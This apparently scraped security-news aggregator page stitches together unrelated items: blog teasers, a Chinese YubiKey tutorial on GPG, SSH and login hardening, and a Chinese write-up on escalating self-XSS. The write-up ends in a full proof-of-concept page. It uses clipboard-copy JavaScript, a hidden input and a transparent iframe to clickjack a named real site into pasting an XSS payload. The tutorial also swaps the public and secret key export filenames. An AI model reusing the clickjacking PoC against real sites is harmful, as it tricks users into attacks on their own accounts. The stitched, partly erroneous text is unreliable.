Aggregator
Fuzz
NZIC Performance Improvement Framework (PIF) Follow-up Review
Operational Update Regarding the KSK Rollover for Administrators of Recursive Name Servers
Currently scheduled for October 11, 2018, the Internet Corporation for Assigned Names and Numbers (ICANN) plans to change the cryptographic key that helps to secure the internet’s Domain Name System (DNS) by performing a Root Zone Domain Name System Security Extensions (DNSSEC) key signing key (KSK) rollover. Originally scheduled to take place in October 2017, […]
The post Operational Update Regarding the KSK Rollover for Administrators of Recursive Name Servers appeared first on Verisign Blog.
Industry Breakdowns for the 2018 Application Protection Report
Attention Fortnite Fans: The New Android App Was Found Containing a Massive Vulnerability
Back in June, Fortnite fans, hopeful for an Android version of the game, were teased with fake apps, which were...
The post Attention Fortnite Fans: The New Android App Was Found Containing a Massive Vulnerability appeared first on McAfee Blog.
Local APIC virtualization
使用 Yubikey 加固你的系统
2022-12-15: 更新 SSH 登陆部分。
最开始了解到 yubikey 是因为和一个朋友聊到 PGP 的问题,我觉得 PGP 保存私钥很麻烦,换一个环境或者电脑被搬走的话还是存在一些风险的,放云上就更加不用说了。然后他就说你可以考虑一下 yubikey。
其实我之前也听某个群里的大佬说到过 yubikey,初听时就觉得这个东西应该很不错,安全级别应该很高,因为那会还没有开始使用 PGP,只是把 yubikey 当作一个开机的智能卡,所以也就没有深入去了解这个东西了。
现在重新了解一下 yubikey 发现这个玩意儿功能真的齐全,而且很难得的是兼容性很好,几乎兼容市面上所有主流操作系统,商业公司值得信赖。
下面就介绍一下 yubikey 在我这里的使用场景,以及踩的一些坑,希望大家看了能有一些收获。
0x01 选购 yubikeyYubikey 4 (Nano) 这是最常见的,也是最受欢迎的型号,这个型号提供了几乎所有的功能,除了NFC,Nano版本和普通版本的区别在于Nano版本比较小,适合一直插在电脑USB口上;而普通版本可以穿在钥匙扣上。
Yubikey 4C (Nano) 和上面的版本功能一模一样,除了USB口是 Type C
YubiKey NEO 有NFC功能,但是NFC不支持 IOS。而且有一个比较坑的地方,NEO 和普通版本的 Yubikey 4 相比,密钥长度最高只支持到 2048,这跟我已经有的PGP密钥已经不匹配了。
详细的各版本功能比较可见官网,点击链接
最后还是选择了大众版本的 Yubikey 4。
购买途径的话,淘宝上有不少,理论上来说随便选一家价格差不多的也没差,毕竟这个东西造假成本非常高。
另外如果人在国外的话,可以考虑使用Github 的学生优惠去官网买,能便宜不少,寄回国内的话邮费就好像挺贵的。
0x02 PGP smartcard作为我的主要使用场景,这部分会详细的介绍将 Yubikey 作为PGP 智能卡使用的流程。
注意:强烈建议用系统自带的GnuPG生成密钥,不要使用 Yubikey 自带的生成密钥的功能,自带的生成了之后私钥就永远都导不出来了,一旦丢失之前的密钥对全部失效。
这里就以我 Kali 下的环境作为示范,介绍如何生成及导入密钥,其他的系统环境请参考 Yubikey 官方英文文档
生成主密钥安装gpg,一般系统都自带了
apt-get install gnupg
生成密钥
gpg --full-generate-key
然后会提示你选择密钥的种类,选择第一种 RSA and RSA (default)。
$ gpg --full-generate-key gpg (GnuPG) 2.2.9; Copyright (C) 2018 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Please select what kind of key you want: (1) RSA and RSA (default) (2) DSA and Elgamal (3) DSA (sign only) (4) RSA (sign only) Your selection? 1然后选择密钥长度,越长越难爆破,这里我选择 4096。
RSA keys may be between 1024 and 4096 bits long. What keysize do you want? (2048) 4096然后选择过期时间,默认是永不过期,妥善保管好的话永不过期也没啥问题。
Please specify how long the key should be valid. 0 = key does not expire <n> = key expires in n days <n>w = key expires in n weeks <n>m = key expires in n months <n>y = key expires in n years Key is valid for? (0)然后输入y确认信息。
然后是输入个人信息,包括姓名和电子邮件地址,电子邮件地址蛮重要的,很多地方会校验这个。
GnuPG needs to construct a user ID to identify your key. Real name: xxxx Name must be at least 5 characters long Real name: xxxxxx Email address: [email protected] Comment: asdsada You selected this USER-ID: "xxxxxx (asdsada) <[email protected]>" Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit?确认后会要求你输入一个密码来保护私钥,这个密码就是你私钥的最后保护了,不要输入弱口令,尽量强一点。
等待一段时间,就会生成一个密钥。
We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. gpg: key 5F63DB433630A82E marked as ultimately trusted gpg: directory '/Users/green/.gnupg/openpgp-revocs.d' created gpg: revocation certificate stored as '/Users/green/.gnupg/openpgp-revocs.d/0D9FCC48E1789FE46AAB8D9A5F63DB433630A82E.rev' public and secret key created and signed. pub rsa4096 2018-08-28 [SC] 0D9FCC48E1789FE46AAB8D9A5F63DB433630A82E uid xxxxxx (asdsada) <[email protected]> sub rsa4096 2018-08-28 [E]这里主密钥和公钥就生成完成了,已经能满足基本使用需求了,但是为了能够能充分的使用 Yubikey ,我们还可以添加其他的两个子密钥,用来认证和签名,认证的密钥可以用来对 SSH 登陆进行认证,建议添加。
添加子密钥编辑你的密钥,1234ABC是刚才生成的密钥ID,用gpg --list-keys 就可以查看。
gpg --expert --edit-key 1234ABC
然后输入 addkey
gpg> addkey Please select what kind of key you want: (3) DSA (sign only) (4) RSA (sign only) (5) Elgamal (encrypt only) (6) RSA (encrypt only) (7) DSA (set your own capabilities) (8) RSA (set your own capabilities) (10) ECC (sign only) (11) ECC (set your own capabilities) (12) ECC (encrypt only) (13) Existing key Your selection?输入密码后,提示选择类型,输入8 选择RSA
Possible actions for a RSA key: Sign Encrypt Authenticate Current allowed actions: Sign Encrypt (S) Toggle the sign capability (E) Toggle the encrypt capability (A) Toggle the authenticate capability (Q) Finished Your selection?添加认证类型,默认情况是只有 Sign Encrypt ,我们通过反复选择 S E A来更改这个密钥的性质,成为你所需要的密钥, 最后选择Q结束。 然后是一些过期时间之类的选择,和之前一样,结束后save一下就可以了。
导出与导入将本地的密钥导出到硬盘,用作备份,以防 Yubikey 丢失。
私钥 gpg --export-secret-key --armor 1234ABC > public.key
公钥 gpg --export --armor 1234ABC > secret.key
导出后建议加密保存在本地。
将私钥装载到 Yubikey
插入yubikey,可以先查看一下状态.
gpg --card-status
可以在bashrc或者zshrc下取个别名,以后经常会用到这条命令的。
alias cs='gpg --card-status'
插入 Yubikey
gpg --expert --edit-key 1234ABC
会显示出你的主密钥和子密钥。
切换一下 gpg> toggle
选择签名密钥,然后导入密钥:
gpg> key 1 gpg> keytocard Please select where to store the key: (1) Signature key (3) Authentication key Your selection? 1选择加密密钥,然后导入:
gpg> key 1 gpg> key 2 gpg> keytocard Please select where to store the key: (2) Encryption key Your selection? 2最后保存
gpg> save就一切成功了,最后quit退出即可,可以用gpg --card-status看一下状态。
在这之后,你的本地保存的私钥就不是真正的私钥了,虽然看起来还是,没多大区别,但实际上保存的只是一个虚拟地址,这个地址指向你的 Yubikey 保存密钥的位置。
如果你像我一样有多台电脑,家庭和单位都需要,你可以将现在的密钥导出(而不是真正的私钥),方法和之前一样,然后再导入到其他电脑上,这样多台电脑都可以使用yubikey来进行PGP认证了。
这就是基本的导入教程,可能没有其他教程详细,网上这类教程很多,有的就没有讲得太细。
vmware虚拟机问题由于我的 Kali是在vmware虚拟机环境下,直接插入 Yubikey 是不识别的,需要修改对应虚拟机的相关vmx 文件。
打开对应虚拟机的vmx配置文件,在末尾添加,
usb.generic.allowHID = "TRUE" usb.generic.allowLastHID = "TRUE"然后重启 vmware,选择对应的可移动设备连接就可以了。如果出现了两个类似的,都有yubikey开头,优先选择不带shared的,如果无效的话,就选择带shared的尝试。
我的工作电脑就只能用共享的yubikey进行连接,还好使用起来没有什么问题。
0x03 系统锁屏解锁用 Yubikey 来解锁屏幕也是逼格满满的,厂商的兼容性真的是做的相当的好,几乎支持了全部主流PC系统,具体可以见官方连接
目前我的宿主机是windows,就介绍一下 windows 上登陆的使用,
下面简单介绍一下流程和注意事项,如果有一些其他的问题,建议还是以官方文档为准。
由于 windows 10 新加入的 windows hello,Yubikey 也集成了这个功能,可以和hello 搭配使用,使得操作更加简单方便,可以直接在微软商店中下载,但我的系统是win7不支持这种方式,下面就介绍win7下安装的要点。
准备工作-
官方推荐需要两个yubikey,一个用来备份,一个用来平时使用,这种方式更安全,一个的话也能用。
-
下载 YubiKey Personalization Tool 下载链接
-
本地管理员权限账户
-
下载 YubiKey Windows Login software 下载链接
-
已安装Microsoft .NET Framework 4.0
在安装过程中会需要重启。
注意:如果没有两个 yubikey 的话,加密性没有那么强,如果不慎丢失,可以进安全模式禁用该功能就好了。 如果对系统加密性要求比较高的同学,可以考虑购入两个 Yubikey。
安装和配置按照文档安装上述两个工具就好了,一个工具是安装本地登陆验证流程相关的驱动,另外一个主要是配置Yubikey使用的。
一般中间不会出什么问题,按照示意图进行配置就好,由于软件界面也都是英文的,直接看英文文档反而更加清晰,就不翻译了。
需要注意的就是,配置好以后记得备份一下配置文件,尤其是使用两个Yubikey,选择安全模式下也加密的情况。
重启后就可以开心的使用了,每次锁屏后都需要插入yubikey才能成功登陆。
如果有机会的话我会更新其他系统安装的场景。
0x04 SSH登陆我们可以直接使用GPG套件内的 gpg-agent 来对SSH连接进行认证,非常方便。
当然这里就体现出来咱们前面为啥要生成多个子密钥的作用了,如果没有生成认证用的子密钥的话,光靠主密钥是不能对SSH进行认证的。
下面介绍一下通过配置自动使用SSH连接时,优先使用 gpg认证密钥来认证的方法。
zsh下的配置(Kali下测试)zsh 下可以直接使用插件 gpg-agent ,然后输入就可以完成
start_agent_withssh
如果一直出现如下报错 gpg-agent: a gpg-agent is already running - not starting a new on
将如下命令添加到 ~/.zshrc 即可
# Set SSH to use gpg-agent unset SSH_AGENT_PID if [ "${gnupg_SSH_AUTH_SOCK_by:-0}" -ne $$ ]; then export SSH_AUTH_SOCK="/run/user/$UID/gnupg/S.gpg-agent.ssh" fi然后 source ~/.zshrc 就可解决错误。
Mac 下的 zsh配置Macos 下和 Kali 下的配置不同,直接使用该插件会失败,配置方法如下:
安装pinentry-mac
brew install pinentry-mac
在文件~/.gnugp/gpg-agent.conf中添加
pinentry-program /usr/local/bin/pinentry-mac enable-ssh-support然后在 ~/.zshrc中添加
export "GPG_TTY=$(tty)" export "SSH_AUTH_SOCK=${HOME}/.gnupg/S.gpg-agent.ssh"最后重启gpg-agent
gpg-connect-agent killagent /bye gig-connect-agent /bye无论是啥环境和shell,修改后都要记得 source 一下使之生效。
将公钥导出用下列命令导出本地 SSH 公钥 ssh-add -L
如果有公钥出现,而且结尾字符串中是这样的形式 cardno:000607848047,那说明就成功了。
接下来就把刚才的 SSH 公钥,然后添加到对应主机的文件 ~/.ssh/authorized_keys 中,以后就可以插上yubikey 直接使用 ssh 连接了。
FIDO/FIDO2 结合 SSH (2022-12-25更新)从 openssh 8.2 版本之后(客户端和服务端需要同时满足), openssh 默认支持 FIDO/FIDO2 的认证方式,这意味着可以原生支持 yubikey 等智能卡登陆了。
如果你不确定自己的 openssh 版本,可以使用命令 ssh -V 查看。 如果使用的是 Macos(12.5.1 测试),系统自带的 openssh 去掉了智能卡的支持1,需要重新安装。
brew install openssh export PATH=$(brew --prefix openssh)/bin:$PATH生成 ecdsa-sk 类型的公私钥对:
ssh-keygen -t ecdsa-sk -C "Your yubikey name" -f ~/.ssh/myyubikey如果想将该对密钥持久的保存在 yubikey 中,可以使用 resident 选项。
ssh-keygen -t ecdsa-sk -O resident -C "Your yubikey name" -f ~/.ssh/myyubikeyyubikey 提供了少量的存储空间,可以用来存储有限的 FIDO2 认证密钥。 如果换了新电脑或者新环境,可以使用如下命令恢复该密钥对。
ssh-keygen -K执行后会在当前目录重新恢复之前的密钥对。 需要值得注意的是,智能卡生成的私钥不是真正的私钥,而是上文导入过后的 gpg 私钥一样,都是一个引用。所以重新恢复的密钥对,公钥是相同的,私钥则可以不同。
生成完之后把公钥上传到服务器即可正常使用,不用安装额外的 agent。 但之前使用 gpg-agent 的方式也有优点,因为使用 gpg 密钥对来认证,这意味着只要你的多个智能卡导入了同一个密钥,那么就可以无缝切换。而且没有版本要求,所以兼容性较好。
0x05 其他使用其他的使用场景还有很多,如
- Github, Google等等账户的二次认证设备
- 静态密码生成器
这里就不介绍了,有兴趣的话搜一下相关资料。
0x06 总结从开始使用 PGP 做认证开始,就越来越觉得密钥的保管是个大问题,尤其是 Metasploit 项目要求部分人员使用PGP进行签名,有时候需要在家里或者公司,如果都保存的话感觉泄露的风险就更大。
从这个角度来讲,Yubikey 完美解决了我的保管密钥的痛点,感觉很棒。
如果你也有和我类似的困扰,欢迎尝试yubikey。
-
https://stackoverflow.com/questions/68573454/having-difficulty-to-get-ssh-with-a-yubikey-working-with-macos-monterey ↩
The Security Industry's Talent Shortage is a Crisis of Diversity
组合拳出击-Self型XSS变废为宝
作者:Vulkey_Chen
博客:gh0st.cn
这是一个鸡肋性质的研究,也许有些标题党,请见谅~
本文启发于一些讨论,和自己脑子里冒出来的想法。
组合拳搭配 Self型XSS已知Self型XSS漏洞是这样的:
相信看见图片基本上已经知道这个漏洞形成的原因了,该功能点有一个编辑预览的,输入XSS的payload就触发。
局限点在于这个漏洞是Self型(Myself),也就是只能自己输入->自己触发漏洞。
变换思考重新理一下这个漏洞触发的流程:
1.输入XSS payload:
<svg/onload=alert(1)>2.触发
那么是否也可以理解为这样的一个触发流程:
1.XSS payload就在剪贴板中
2.黏贴到文本框
3.触发
也就是说在这里我只需要沿着这个流程向下拓展,是否可以让我变换的触发流程文字变成代码形式。
顺推流程触发流程顺推为攻击流程:
1.诱导受害者点开连接
2.诱导受害者点击复制按钮
3.诱导受害者黏贴剪贴板的内容
4.顺利触发XSS漏洞
这一切的攻击流程看起来可操作性并不强,但实际上还是会有很多人中招。
搭配谁?以上的攻击流程都需要在同一个页面中触发,那么就需要一个点击劫持的配合。
“上天总是眷顾长得帅的人”,在这里确实也存在着点击劫持的问题:
代码思考&构建 复制功能按流程来构建,首先构建复制到剪贴板的功能:
JavaScript有这样的功能,代码如下,自行 ”食“ 用:
<script type="text/javascript"> function cpy(){ var content=document.getElementById("test");//获取id为test的对象 content.select();//全选内容 document.execCommand("Copy");//执行复制命令到剪贴板 } </script>HTML代码如下:
<input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()">界面如下:
问题:
虽然作为一个PoC来说,不需要那么苛刻的要求PoC的严谨性,但这里处于研究探索的目的还是需要解决问题,如果input标签的内容显示出来,那么就很容易暴露本身的攻击。
针对这类问题一开始我想到的是使用hidden属性构建为如下的HTML代码:
<input type="hidden" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()">经过测试发现并不能成功的使用复制功能,我的理解是因为在JavaScript代码中有这样一段内容:
... content.select();//全选内容 ...既然是全选内容那么一定要有这样一个编辑框或者输入框的存在,所以使用Hidden从实际意义上是没有这样一个”框“的。
解决问题:
在这里我选择使用透明样式来从”视觉上隐藏“标签:
<style type="text/css"> #test { /*css id选择器*/ /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } </style>那么界面就变成如下的样子了:
注意:这里没办法使用自动复制到剪贴板,必须需要一个按钮才行
点击劫持点击劫持之前写过一篇文章,所以就不在做讲解了,参考我之前写的一篇文章:http://gh0st.cn/archives/2017-12-20/1
构建基本CSS样式:
.testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } #submit { position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; }iframe框架&&输入框:
<div class="testframe"> <iframe src="https://website/New"></iframe> <input type="text" id="submit"> </div> 最终PoC <html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } #test { /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } #submit { position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; } </style> </head> <body> <input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()"> <div class="testframe"> <input type="text" id="submit"> <iframe id="test0" src="https://secquan.org/New"></iframe> </div> <script type="text/javascript"> function cpy(){ var content=document.getElementById("test"); content.select(); document.execCommand("Copy"); } </script> </body> </html> 最终演示 总结比较打开脑洞的一次研究,苛刻的攻击条件其实在进行足够的丰富诱导下就会变得非常的有趣。